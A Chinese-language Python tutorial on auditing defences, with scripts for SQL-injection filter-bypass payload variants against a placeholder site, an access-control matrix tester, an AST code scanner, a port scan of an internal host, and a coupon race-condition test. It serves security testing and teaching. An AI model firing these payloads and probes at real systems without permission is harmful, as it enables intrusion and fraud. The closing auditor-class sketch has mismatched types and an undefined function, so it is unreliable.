Python 综合案例：防守漏洞的识别与定位
防守漏洞的识别定位是一个跨领域的通用问题，可以抽象为：在防御体系（网络、代码、系统、业务）中，找出攻击者可以绕过、利用或未覆盖的薄弱点，下面从思路到 Python 实战做一个综合梳理。
漏洞识别的通用思路
| 维度 | 核心问题 | 常见方法 |
|---|---|---|
| 覆盖度 | 哪些地方没被防护？ | 规则对比、路径枚举、差异分析 |
| 绕过性 | 现有防护能否被绕过？ | 变形/编码测试、白盒审计 |
| 权限 | 谁能访问什么？ | 权限矩阵、越权测试 |
| 时序 | 竞态、窗口期？ | 并发压测 |
| 配置 | 默认/弱配置？ | 基线扫描、字典比对 |
一句话："正常输入 → 观察防护 → 构造异常 → 观察是否失守"。
案例 1：Web 应用防守漏洞 —— 参数过滤绕过识别
场景
站点用黑名单过滤 union select,要定位这个防护是否可被绕过。
import requests
from urllib.parse import quote
TARGET = "http://target.com/search"
PARAM = "q"
# 1. 探测正常防护行为
def probe(payload):
try:
r = requests.get(TARGET, params={PARAM: payload}, timeout=5)
return r.status_code, len(r.text)
except Exception as e:
return None, str(e)
# 2. 构造变形 payload，识别过滤规则
base_payloads = {
"raw": "1 union select 1,2,3",
"case": "1 UnIoN SeLeCt 1,2,3",
"comment": "1 un/**/ion sel/**/ect 1,2,3",
"urlenc": quote("1 union select 1,2,3"),
"double_enc": quote(quote("1 union select 1,2,3")),
"space_alt": "1+union%09select%0a1,2,3",
"keyword_spl":"1 uniunionon selselectect 1,2,3",
}
baseline = probe("1")
print(f"[基线] {baseline}")
for name, p in base_payloads.items():
status, length = probe(p)
# 判定：状态码/长度/报错明显偏离基线 → 可能绕过或触发异常
flag = "❗可能绕过" if status == 200 and abs(length - baseline[1]) > 50 else "✓被拦截"
print(f"[{name:10}] status={status} len={length} {flag}")
定位逻辑：若某变形 payload 的响应特征（状态码、长度、关键字回显）明显不同 → 该变形绕过了当前过滤,即防守漏洞所在点。
案例 2：API 越权漏洞 —— 权限矩阵识别
场景
多个角色 × 多个接口，找出"越权可访问"的组合。
import requests
import itertools
BASE = "http://api.target.com"
TOKENS = {
"admin": "token_admin_xxx",
"userA": "token_usera_xxx",
"userB": "token_userb_xxx",
"guest": "token_guest_xxx",
}
ENDPOINTS = [
("GET", "/api/user/1/profile"),
("GET", "/api/user/2/profile"),
("POST", "/api/user/1/delete"),
("GET", "/api/admin/logs"),
]
def call(method, path, token):
h = {"Authorization": f"Bearer {token}"}
try:
r = requests.request(method, BASE + path, headers=h, timeout=5)
return r.status_code
except Exception:
return -1
# 期望矩阵：哪些角色不该访问哪些接口
expected_deny = {
"guest": ["/api/user/1/delete", "/api/admin/logs"],
"userB": ["/api/user/1/delete", "/api/user/1/profile", "/api/admin/logs"],
}
vulns = []
for role, (method, path) in itertools.product(TOKENS, ENDPOINTS):
code = call(method, path, TOKENS[role])
denied_expected = path in expected_deny.get(role, [])
if denied_expected and code not in (401, 403):
vulns.append((role, method, path, code))
print("=== 越权漏洞定位 ===")
for v in vulns:
print(f"角色={v[0]:6} {v[1]:4} {v[2]:25} → HTTP {v[3]} ❗越权")
定位逻辑：把"角色×接口"的期望访问策略与实际响应做矩阵交叉，不符项就是越权漏洞的精确坐标（谁、对哪个接口、什么方法）。
案例 3：代码级防守漏洞 —— AST 白盒扫描
场景
在 Python 源码里识别"防护缺失"模式，直接拼接 SQL、eval 使用、无鉴权的路由。
import ast
from pathlib import Path
RISKY_CALLS = {"eval", "exec", "os.system", "subprocess.call"}
SQL_MARKERS = ("select ", "insert ", "update ", "delete ")
class VulnScanner(ast.NodeVisitor):
def __init__(self, file):
self.file = file
self.findings = []
def visit_Call(self, node):
name = self._name(node.func)
# 危险函数调用
if name in RISKY_CALLS:
self.findings.append(("危险调用", name, node.lineno))
# SQL 拼接（f-string / % / + 且含 SQL 关键字）
if name in ("execute", "executemany") and node.args:
arg = node.args[0]
if isinstance(arg, ast.JoinedStr): # f-string
if any(k in ast.unparse(arg).lower() for k in SQL_MARKERS):
self.findings.append(("SQL拼接", ast.unparse(arg), node.lineno))
self.generic_visit(node)
@staticmethod
def _name(func):
if isinstance(func, ast.Attribute):
return f"{ast.unparse(func.value)}.{func.attr}"
return getattr(func, "id", "")
def scan(root):
for p in Path(root).rglob("*.py"):
tree = ast.parse(p.read_text(encoding="utf-8", errors="ignore"))
s = VulnScanner(p)
s.visit(tree)
for kind, detail, line in s.findings:
print(f"{p}:{line} [{kind}] {detail}")
scan("./myapp")
定位逻辑：AST 静态分析定位到文件:行号 + 漏洞类型 + 具体表达式,精确到代码坐标。
案例 4：网络防守漏洞 —— 端口/服务覆盖缺口
import socket
from concurrent.futures import ThreadPoolExecutor
HOST = "10.0.0.5"
PORTS = [21, 22, 80, 443, 3306, 6379, 8080, 9200, 27017]
def check(port):
try:
with socket.create_connection((HOST, port), timeout=1) as s:
banner = s.recv(64)
return port, "OPEN", banner[:40]
except Exception:
return port, "CLOSED", b""
with ThreadPoolExecutor(max_workers=20) as ex:
for port, state, banner in ex.map(check, PORTS):
if state == "OPEN":
print(f"[开放] {port:5} banner={banner}")
# 与"应关闭清单"对比 → 找出不该开放的服务
EXPECTED_CLOSED = {3306, 6379, 9200}
定位逻辑：将"实际开放服务"与"安全基线应关闭清单"做 差集,多开放的就是暴露面漏洞。
案例 5：业务逻辑漏洞 —— 并发竞态识别
场景
优惠券/余额扣减是否有并发漏洞。
import requests, threading
URL = "http://target.com/api/coupon/use"
HEADERS = {"Authorization": "Bearer user_token"}
results = []
lock = threading.Lock()
def hit():
r = requests.post(URL, headers=HEADERS, json={"coupon_id": 1})
with lock:
results.append(r.json().get("status"))
threads = [threading.Thread(target=hit) for _ in range(20)]
for t in threads: t.start()
for t in threads: t.join()
success = results.count("success")
print(f"并发请求 20 次，成功 {success} 次")
if success > 1:
print("❗竞态漏洞：同一优惠券被重复使用")
定位逻辑：并发压测 → 统计成功次数 > 预期（应为 1）→ 定位到该接口存在竞态窗口。
把方法沉淀成"定位框架"
class DefenseAuditor:
"""
通用防守漏洞定位器：
1. 建立防护基线
2. 生成异常/变形输入
3. 对比响应差异
4. 输出漏洞坐标
"""
def __init__(self, probe_func, baseline_input, anomaly_inputs, judge):
self.probe = probe_func # 探测函数
self.baseline = probe(baseline_input)
self.anomalies = anomaly_inputs # 变形字典
self.judge = judge # 判定函数
def run(self):
hits = []
for label, payload in self.anomalies.items():
resp = self.probe(payload)
if self.judge(self.baseline, resp, payload):
hits.append((label, payload, resp))
return hits
# 使用示例
def judge(baseline, resp, payload):
return resp["status"] == 200 and abs(resp["len"] - baseline["len"]) > 50
auditor = DefenseAuditor(probe_func, "1", base_payloads, judge)
for label, payload, resp in auditor.run():
print(f"漏洞点：{label} payload={payload}")
识别定位的关键心法
- 先建立基线 —— 不知道"正常"就识别不出"异常"。
- 差异即线索 —— 状态码、长度、时间、回显、日志,任何偏离都值得深挖。
- 矩阵化思维 —— 角色×接口、输入×变形、端口×基线,交叉找出盲点。
- 自动化收口 —— 一次探测一个点，脚本批量跑,结果按优先级排序。
- 闭环验证 —— 定位后要能复现、能证明危害、能提出修复。
